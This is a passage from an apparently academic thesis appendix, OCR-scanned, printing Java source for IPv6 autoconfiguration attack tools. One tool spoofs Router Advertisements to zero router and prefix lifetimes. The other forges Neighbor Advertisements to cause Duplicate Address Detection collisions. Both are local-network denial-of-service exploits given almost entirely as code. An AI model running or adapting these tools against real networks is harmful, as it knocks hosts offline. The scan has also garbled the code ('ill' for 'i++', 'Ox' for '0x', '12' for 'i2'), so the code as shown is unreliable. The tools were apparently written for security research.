p . data [NA_OPTIONS_BYTE  +  OPTION_LENGTH_BYTE ]  = 
(byte)  bytes; 


/  *  * 

*  Sets  the  ICMPv6  Option  Link-Layer  Address 

* 

*  @param  src  the  Option  Link-Layer  Address 

* 

*/ 

public  void  setOptionLinkAddress (byte [ ]  src)  { 

for  (int  i=l;  i<6;  i++)  { 

p . data [NA_OPTIONS_BYTE  + 

0  P  T I ON_L I NK_L A Y E R_AD DRE  S  S  +  i]  =  src[i]; 

} 


/  *  * 

*  Sets  the  RA  Option  Prefix  Lifetimes 

*  the  same  lifetimes  are  set  for  all  the  prefixes 

*  advertised  by  the  particular  RA. 

* 

*  @param  valid  the  valid  lifetime  in  units  of  seconds 

*  @param  preferred  the  preferred  lifetime  in  units  of  seconds 

* 
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*/ 

public  void  setPref ixLif etime (  int  valid  ,  int  preferred  )  { 

int  lastOptionByte  =  RA_OPTIONS_BYTE ; 

int  iterator  =  0; 

while  (  p . data . length  >  lastOptionByte  )  { 

if  (  p. data [lastOptionByte]  ==  PREFIX_INFORMATION  )  { 

//  four  bytes  for  valid  lifetimes 

p. data [lastOptionByte  +  PREFIX_VALID_LIFETIME_BYTE ] 

=  (byte)  (valid  /  OxFFFFFF  )  ; 
p. data [lastOptionByte  +  PRE  F I X_VAL I D_L I FE  T I ME_B Y T E  +  1] 
=  (byte)  (valid  %  OxFFFFFF  /  OxFFFF)  ; 
p. data [lastOptionByte  +  PREFIX_VALID_LIFETIME_BYTE  +  2] 
=  (byte)  (valid  %  OxFFFF  /  OxFF) ; 
p. data [lastOptionByte  +  PRE  F I X_VAL I D_L I FE  T I ME_B Y T E  +  3] 
=  (byte)  (valid  &  OxFF) ; 

p. data [lastOptionByte  +  PREFIX_PREFERRE D_LIFETIME_BYTE ] 
=  (byte)  (preferred  /  OxFFFFFF  )  ; 
p. data [lastOptionByte  +  PRE  F I X_PRE  FERRE  D_L I FE  T I ME_B Y TE 
+  1]  =  (byte)  (preferred  %  OxFFFFFF  /  OxFFFF); 
p. data [lastOptionByte  +  PRE  F I X_PRE  FERRE  D_L I FE  T I ME_B Y TE 
+  2]  =  (byte)  (preferred  %  OxFFFF  /  OxFF); 
p. data [lastOptionByte  +  PREFIX_PREFERRE D_LIFETIME_BYTE 
+  3]  =  (byte)  (preferred  &  OxFF) ; 


} 

int  lastOptionLength  =  p . data [ lastOptionByte 
+  OPTION_LENGTH_BYTE ] ; 
lastOptionByte  +=  (lastOptionLength  *  8)  ; 
iterator++ ; 


} 


} 


/  *  * 

*  calculates  and  sets  the  ICMPv6  Payload  length 

* 

* 

*/ 

public  void  calculatePayloadLength ( )  { 

int  length  =  (  p . data . length  -  PAYLOAD_BYTE  ); 
p . data [ PAYLOAD_LENGTH_BYTE ]  =  (byte)  (length  /  OxFF); 
p . data [ PAYLOAD_LENGTH_BYTE ]  =  (byte)  (length  &  OxFF) ; 


} 

/** 

*  calculates  and  sets  the  ICMPv6  checksum 
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ICMP  TYPE  BYTE 


*/ 

public  void  calculateChecksum ( )  { 


int  length  =  p . data . length 
ICMP_PSEUDO_LENGTH; 

byte [ ]  checksumBytes  =  new  byte [ length] ; 

//ICMP  pseudo-header 
checksumBytes [ 0 ]  =  0; 
checksumBytes [ 1 ]  =  0; 
checksumBytes [ 2 ]  =  0; 
checksumBytes [ 3 ]  =  (byte)  58; 
checksumBytes [ 4 ]  =  p. data [4];  //  payload  length 
checksumBytes [ 5 ]  =  p. data [5];  //  payload  length 
checksumBytes [ 6 ]  =  0; 
checksumBytes [ 7 ]  =  0; 

//  rest  of  pseudo-header 

for  (int  i  =  8;  i  <  ICMP_PSEUDO_LENGTH  ;  ill)  { 
checksumBytes [ i ]  =  p.data[i]; 

} 

//  beggining  of  icmp  header 

checksumBytes [ICMP_TYPE_BYTE]  =  p . data [ ICMP_TYPE_BYTE ] ; 
checksumBytes [ICMP_CODE_BYTE]  =  p . data [ ICMP_CODE_BYTE ] ; 

//zeros  for  the  checksum 
checksumBytes [ICMP_CHECKSUM_BYTE]  =  0; 
checksumBytes [ICMP_CHECKSUM_BYTE  +1]  =  0; 

/ /  icmp  payload 

for  (int  i  =  ICMP_BODY_BYTE ;  i  <  length;  i++)  { 

checksumBytes [ i ]  =  p.data[i]; 

} 

int  sum  =  0;  //  the  checksum 
int  i; 

for(i  =0;  i  <  length;  i+=2)  { 

//  put  bytes  in  ints  so  we  can  forget  about  sign-extension 
int  il  =  checksumBytes [ i ]  &  Oxff; 

//  zero-pad,  maybe 

int  i2  =  (i  +  1  <  length  ?  checksumBytes  [ i  +  1]  &  Oxff  : 

0); 

sum  +=  ( (il  <<  8)  +  12 ) ; 

while (  (sum  &  Oxffff)  !=  sum  )  { 

sum  &=  Oxffff; 
sum  +=  1; 

} 

} 

sum  =  ~sum  &  OxFFFF; 

p . data [ ICMP_CHECKSUM_BYTE ]  =  (byte)  ((sum  &  OxFFOO)  »  8); 
p . data [ ICMP_CHECKSUM_BYTE+1 ]  =  (byte)  (sum  &  OxFF) ; 
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} 

/  *  * 

*  Sends  an  ICMPv6  packet 

* 

*  @param  sender  the  jpcap . JpcapSender  object 

* 

*/ 

public  void  send (jpcap . JpcapSender  sender)  { 
sender . sendPacket (p) ; 

} 
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APPENDIX  B.  CLASS  RLD  JAVA  CODE 


/* 

*  RLD. java 

* 

*  This  software  was  developed  as  part  of  a  thesis  research  on  IPv6 

*  host  autoconfiguration  security  issues 
*/ 

package  Rid; 

import  j ava . io . IOException; 

import  j  ava . net . UnknownHostException; 

import  jpcap.*; 

import  jpcap . packet . IPPacket; 

import  jpcap . packet . ICMPPacket; 

import  jpcap . packet . Packet ; 

import  jpcap . packet . Ethernet Packet ; 

import  jpcap . packet . TCPPacket; 

import  j ava . net . Inet 6Address ; 

import  j  ava . util . * ; 

import  I CMP 6 . I CMP 6 ; 

/** 

*  This  class  implements  the  Router  Lifetime  Decreaser 
*/ 

public  class  Rid  implements  PacketReceiver  { 

/  *  * 

*  Fake  Router  Lifetime 
*/ 

public  static  final  int  FAKE_ROUTER_L I FET IME  =  0; 

/  *  * 

*  Fake  Prefix  Valid  Lifetime 
*/ 

public  static  final  int  FAKE_VALID  =  0;  //seconds 
/  *  * 

*  Fake  Prefix  preferred  Lifetime 
*/ 

public  static  final  int  FAKE_PRE FERRE D  =  0;  //seconds 
/  *  * 

*  the  network  interface  of  the  tool 
*/ 

private  static  short  networklnterf ace  ; 

/  *  * 

*  the  array  of  the  interfaces 
*/ 

private  static  Networklnterf ace [ ]  devices  =  null; 

/  *  * 

*  the  JpcapCaptor  object 
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*/ 

private  static  JpcapCaptor  jpcap  =  null; 

/  *  * 

*  the  JpcapSender  object 
*/ 

private  static  JpcapSender  sender  =  null; 


/** 

*  A  member  to  hold  the  sent  Router  Advertisement 
*/ 

private  static  ICMP6  fakeRASent  =  null; 

/** 

*  a  flag  that  indicates  if  a  router  advertisement 

*  has  already  been  received 

*  / 

private  static  boolean  f irstReceived  =  true; 

/** 

*  the  value  for  the  jpcapCaptor  snaplen 

*  / 

private  static  int  snaplen  =  2000; 

/** 

*  the  value  for  the  interface's  mode 

*  / 

private  static  boolean  promise  =  true; 

/** 

*  the  value  for  the  jpcapCaptor  to_ms 
*/ 

private  static  int  to_ms  =  20; 

public  static  void  main (String [ ]  args)  throws  IOException  { 

devices  =  JpcapCaptor . getDeviceList () ; 

if  (args . lengthcl)  { 
help()  ; 

} 

else  { 

networklnterf ace  =  Short . parseShort (args [ 0 ]) ; 
jpcap  =  JpcapCaptor . openDevice (devices [networklnterf ace ] 
,  snaplen,  promise,  to_ms) ; 
jpcap . loopPacket ( -1 ,  new  Rld()); 

} 

} 

/  *  * 

*  implements  method  receivePacket  of  interface 

*  Jpcap . PacketReceiver  to  handle  the  received  packet 
*/ 

public  void  receivePacket (Packet  packet)  { 
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/ /  ignore  packets  with  length  zero 
if  (packet . data . length  ==  0)  return; 

if  (  ICMP6 . isICMP6 (packet)  ){ 

I CMP 6  p  =  new  ICMP6 (packet) ; 

switch  (p . getType ( ) )  { 

case  ICMP6.RA  : 

try  { 

System . out . println ( "Router  Advertisement  "  + 
"from  "  +  p . getSourceAddress ( ) ) ; 

}  catch  (UnknownHostException  ex)  { 
ex . printStackTrace ()  ; 

} 

routerSpoof (p) ; 
break; 


} 

} 

} 


/  *  * 

*  implements  the  router's  parameter  spoofing 

*  / 

private  void  routerSpoof (ICMP6  packet)  { 
try  { 

sender^ JpcapSender . openDevice (devices [networklnterf ace ] ) ; 

if  ( f irstReceived  | |  ! (  packet . getChecksum ( )  == 

f akeRASent . getChecksum ( )  )){ 

//  spoof  the  parameters 

packet . setPref ixLif etime (FAKE_VALID,  FAKE_PRE FERRE D) ; 
packet . setRouterLifetime ( FAKE_ROUTER_L I FET IME ) ; 

/ /  calculate  and  set  the  new  checksum 
packet . calculateChecksum ( ) ; 

//  send  the  fake  RA 
packet . send ( sender )  ; 

System . out . println ( "Router  Lifetime  decreased  to  "  + 
FAKE_ROUTER_L I FET IME  +  "seconds"); 

System. out .print ( "Prefix  Lifetimes  decreased  to  "  + 

FAKE_VAL I D  +  "  (valid)  and  "  +  FAKE_PRE FERRE D 
+  "  (preferred)  seconds  "); 
f akeRASent  =  packet; 

//  set  the  flag 
f irstReceived  =  false; 

} 

} 
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catch  (IOException  ex)  { 

System . out . print In ( "senderException" ) ; 

} ; 


} 

/  *  * 

*  provides  error  checking  for  the  RLD ' s  correct  command  line 

*  input 

* 

*/ 

private  static  void  help() { 

System . out . print in ( 

"usage:  java  Rid  <select  a  number  from  the  f ollowing>" ) ; 
for  (int  i  =  0;  i  <  devices . length;  i++)  { 

System . out . println ( i  +  "  :"  +  devices [ i ]. name  +  "("  + 

devices [ i ]. description  +  ")"  +  "\n"  + 

"  data  link:"  +  devices [i] . datalink_name  +  "("  + 
devices [ i ]. datalink_description  +  ")"  ); 

System . out . print ( "  MAC  address:"); 
for  (byte  b  :  devices [ i ]. mac_address ) 

System. out .print (Integer . toHexString (b&Oxff)  +  ":"  ); 
System . out . println  ( ) ; 

for  (Networklnterf aceAddress  a  :  devices [ i ]. addresses ) 

System . out . println ( "  address:"  +  a. address  +  "  "  + 
a. subnet  +  "  "  +  a . broadcast )  ; 

} 

return; 

} 


} 
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APPENDIX  C.  CLASS  DCG  JAVA  CODE 


/* 

*  Deg. java 

* 

*  This  software  was  developed  as  part  of  a  thesis  research  on  IPv6 

*  host  autoconfiguration  security  issues 

* 

*/ 

package  Deg; 

import  j ava . io . IOException; 

import  j  ava . net . UnknownHostException; 

import  jpeap.*; 

import  jpeap . packet . IPPacket; 

import  jpeap . packet . ICMPPacket; 

import  jpeap . packet . Packet ; 

import  jpeap . packet . Ethernet Packet ; 

import  jpeap . packet . TCPPacket; 

import  j ava . net . Inet 6Address ; 

import  j ava . util* * ; 

import  I CMP 6 . I CMP 6 ; 

/** 

*  this  class  implements  the  DAD  collision  generator 
*/ 

public  class  Deg  implements  PacketReceiver  { 

/  *  * 

*  All  nodes  Link  Layer  Address 
*/ 

public  static  final  byte [ ]  LINK_ALL_NODES  = 

{ (byte) 0x33,  (byte) 0x33,  0,  0,  0,  (byte) 1  }; 

/  *  * 

*  All  nodes  IPv6  Address 
*/ 

public  static  final  byte [ ]  ALL_NODES_BYTES  = 

{ (byte) Oxff ,  (byte) 0x02,  0,  0,  0,  0,  0,  0,  0,  0, 

0,  0,  0,  0,  0,  (byte)!}; 


/  *  * 

*  Unspecified  IPv6  Address 
*/ 

public  static  final  byte [ ]  UNSPEC_BYTES= 

{0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0,0}  ; 

/  *  * 

*  the  network  interface  of  the  tool 
*/ 

public  static  short  networklnterf ace  =  0; 
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/  *  * 

*  the  array  of  the  interfaces 

*  / 

private  static  Networklnterf ace [ ]  devices  =  null; 

/** 

*  the  JpcapCaptor  object 

*  / 

private  static  JpcapCaptor  jpcap  =  null; 

/** 

*  the  JpcapSender  object 

*  / 

private  static  JpcapSender  sender  =  null; 

/** 

*  the  Random  generator  (for  random  MAC  address 

*  generation) 

*  / 

Random  generator  =  new  Random () ; 

/  *  * 

*  the  fake  (colliding  address)  Neighbor  Advertisement 

*  / 

public  static  I CMP 6  fakeNA  =  new  ICMP6 ( ICMP6 . NA) ; 

/  *  * 

*  the  value  for  the  jpcapCaptor  snaplen 

*  / 

private  static  int  snaplen  =  2000; 

/  *  * 

*  the  value  for  the  interface's  mode 

*  / 

private  static  boolean  promise  =  true; 

/  *  * 

*  the  value  for  the  jpcapCaptor  to_ms 
*/ 

private  static  int  to_ms  =  20; 

public  static  void  main (String [ ]  args)  throws  IOException  { 

devices  =  JpcapCaptor . getDeviceList () ; 

if  (args . lengthcl)  { 
help()  ; 

} 

else  { 

networklnterf ace  =  Short . parseShort (args [ 0 ]) ; 
jpcap  =  JpcapCaptor . openDevice (devices [networklnterf ace ]  , 
snaplen,  promise,  to_ms) ; 
jpcap . loopPacket (-1 ,  new  Deg ( )  )  ; 

} 

} 
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/  *  * 

*  implements  method  receivePacket  of  interface 

*  Jpcap . PacketReceiver 

*  / 

public  void  receivePacket (Packet  packet)  { 

//  ignore  zero-length  packets 
if  (packet . data . length  ==  0)  return; 

if  (  ICMP6 . isICMP6 (packet)  ){ 

//  create  the  ICMP6  packet 
I CMP 6  p  =  new  ICMP6 (packet) ; 

switch  (p . getType ( ) )  { 

case  I CMP 6 . NS  : 

try  { 

System . out . println ( "Neighbor  Solicitacion  "  + 
"from  :"  +  p . getSourceAddress ()) ; 
if  (p . getSourceAddress ( ) . equals (( Inet6Address ) 
Inet6Address . getByAddress (UNSPEC_BYTES ) ) ) 

{ 

neighbourSpoof (p) ; 

} 

}  catch  (UnknownHostException  ex)  { 
ex . printStackTrace  () ; 

} 

break; 


} 


} 


} 


/  *  * 

*  implements  the  neighbour  spoofing 
*/ 

private  void  neighbourSpoof (ICMP6  packet)  { 
try  { 

sender^ JpcapSender . openDevice (devices [networklnterf ace] ) ; 

//  create  random  link  source  address  keeping 

//  same  first  two  bytes 

byte [ ]  linkSrc  =  new  byte [6]; 

linkSrc[0]  =  packet . getLinkSourceAddress ( ) [0]; 
linkSrc [1]  =  packet . getLinkSourceAddress ( ) [1]; 
for  (int  i=2;  i<6;  i++)  { 

linkSrc [i]  =  (byte)  (generator . nextlnt ( )  &  OxFF) ; 


} 
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f akeNA. setSourceAddress (packet . getTargetAddress () ) ; 
f akeNA. setDestinationAddress ( ( Inet 6Address ) 

Inet6Address . getByAddress ( ALL_NODES_BYTES ) ) ; 
f akeNA. setSolicited ( false) ; 
fakeNA. setOverride (true) ; 

f akeNA. setTargetAddress (packet . getTargetAddress () ) ; 
fakeNA . setOptionLinkAddress (linkSrc)  ; 

fakeNA . calculateChecksum ( ) ; 

EthernetPacket  ether=new  EthernetPacket () ; 

ether . f rametype=EthernetPacket . ETHERTYPE_IPV6 ; 

ether . src_mac  =  linkSrc; 

ether .dst_mac  =  LINK_ALL_NODES ; 

fakeNA . setDataLink (ether ) ; 

fakeNA. send (sender)  ; 

}  catch  (IOException  ex)  { 
ex . printStackTrace ()  ; 

} 


} 

/  *  * 

*  provides  error  checking  for  the  Deg's  correct  command  line 

*  input 

* 

*/ 

private  static  void  help() { 

System . out . print in ( 

"usage:  java  Deg  <select  a  number  from  the  f ollowing>" ) ; 
for  (int  i  =  0 ;  i  <  devices . length;  i++)  { 

System . out . println ( i  +  "  :"  +  devices [ i ]. name  +  "("  + 

devices [ i ]. description  +  ")"  +  "\n"  + 

"  data  link:"  +  devices [i] . datalink_name  + 

"("  +  devices [ i] . datalink_description  +  ")"  ); 

System . out . print ( "  MAC  address:"); 
for  (byte  b  :  devices [ i] .mac_address) 

System. out .print (Integer . toHexString (b&Oxff)  +  ":"  ) 
System. out .println  ( ) ; 

for  (Networklnterf aceAddress  a  :  devices [ i ]. addresses ) 
System. out .println ( "  address:"  +  a. address  + 

"  "  +  a. subnet  +  "  "  +  a . broadcast ) ; 

} 

return; 

} 


} 
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